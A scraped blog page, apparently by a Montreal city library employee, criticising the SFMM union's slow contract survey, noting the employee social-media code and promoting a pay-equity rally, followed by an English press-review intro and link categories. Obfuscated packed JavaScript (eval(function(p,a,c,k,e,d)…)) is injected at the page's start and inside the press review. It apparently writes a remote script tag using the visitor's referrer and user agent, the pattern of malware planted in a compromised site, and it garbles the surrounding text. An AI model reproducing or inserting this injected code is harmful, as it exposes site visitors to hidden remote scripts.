“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzitr|var|u0026u|referrer|asbza||js|php’.split(‘|’),0,{}))

De cela je tire deux constatations / commentaires:

Le colloque a eu lieu en mars et on nous présente un sondage que maintenant: cela leur a pris six mois pour préparer un sondage? Ciel! Si cela leur prend un autre six mois pour compiler les réponses et nous présenter le projet de convention en assemblée extraordinaire, combien d’années encore cela prendra-t-il avant que l’on ait une nouvelle convention négociée?!

D’autre part, jusqu’à maintenant je ne trouve toujours pas trace du fameux sondage sur le site du SFMM (le Col Blanc date d’octobre et le texte semble dire que le sondage est imminent). L’aurais-je manqué? Il est plus probable que nos bons amis du SFMM traînent encore de la patte… Soyez vigilant et ne tardez pas à remplir ce sondage dès qu’il sera en ligne. C’est important!

MàJ (15 nov.) : le site du SFMM nous apprend que le sondage pour nous exprimer sur notre prochaine convention collective est en ligne (il y sera seulement jusqu’au 30 novembre, alors dépêchez-vous d’y participer!). Vous pouvez y accèder par ce lien.

Je rappelle que j’avais déjà fait, en mars dernier, mes suggestions de points à discuter pour les négos (auxquels j’ajouterais peut-être la suggestion de bonifier les primes hors heures pour les permanents qui ont un horaire atypique et l’ajout de primes pour ceux qui doivent travailler avec des enfants!! C’est déjà dûr d’être un travailleur de première ligne, en contact avec le public, mais les enfants alors…)

Poursuivez la lecture après le saut de page:

Aussi, ce même Col Blanc nous rappelle, en page huit, qu’il faut se méfier de ce que l’on dit sur les media sociaux. N’oublions pas que notre “code éthique” d’employé de la ville nous retire notre droit constitutionnel de libre expression et que toutes critiques ou commentaires ou “propos (…) inappropriés envers son employeur ainsi qu’envers un membre de la direction de la Ville” (que ce soit sur Facebook, Twitter, un blog ou même dans les media traditionnels comme la presse écrite, la radio ou la télévision) peuvent être causes de suspension ou même de congédiement. Un bon conseil à donner ces derniers temps. J’ai toujours cela à l’esprit quand j’écris (et c’est pour ça que, tant qu’à m’autocensurer, je préfère simplement éviter le sujet tout à la fois ou encore l’aborder indirectement en parlant du travail [in]efficace du syndicat).

Finalement, les gens du 109 au 429 nous rappellent qu’il y aura une manif “pour une véritable équité salariale” devant l’Hotel de Ville de Montréal lundi le 19 novembre à 18h00. Voir aussi l’info à ce sujet sur le site du SFMM (et, pourquoi pas, l’affiche du rassemblement). Dans le cas des aides-biblio je ne vois pas vraiment l’utilité puisqu’on nous a carrément refusé l’équité salariale, mais on peut toujours manifester notre solidarité…

MàJ (18 nov.) : Un récent courriel me rappelle qu’il est important (et ce malgré de récents developpements) de participer en grand nombre à cette manifestation et cela pour deux raisons: 1) faire pression sur la Ville pour que le paiement de l’équité salariale soit fait selon la loi et non de la façon que la Ville en a unilatéralement décidée (l’employeur veut payer seulement ceux ayant atteint le maximum de leur échelle salariale) et ce malgré une décision de la Commission favorable au SFMM; 2) démontrer à l’exécutif de notre merveilleux syndicat (qui s’était originellement prononcé contre la proposition de tenir cette manifestation) qu’il est possible (quand on le veut bien) de mobiliser les membres et que leur mépris n’aura qu’un temps. Alors, s.v.p., venez nombreux pour démontrer votre solidarité à ceux qui bénéficient de l’équité mais qui en attentent encore le paiement!

[ Translate ]

Press Review (2012-11-12)

Still consumed by work and transit time. This week the news were dominated by the aftermath of Obama’s victory in the U.S. presidential elections. Besides that it was mostly quiet, document.write(“”); but here’s a few interesting links anyway after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brkeb|var|u0026u|referrer|fnzzk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekid|var|u0026u|referrer|zerzr||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]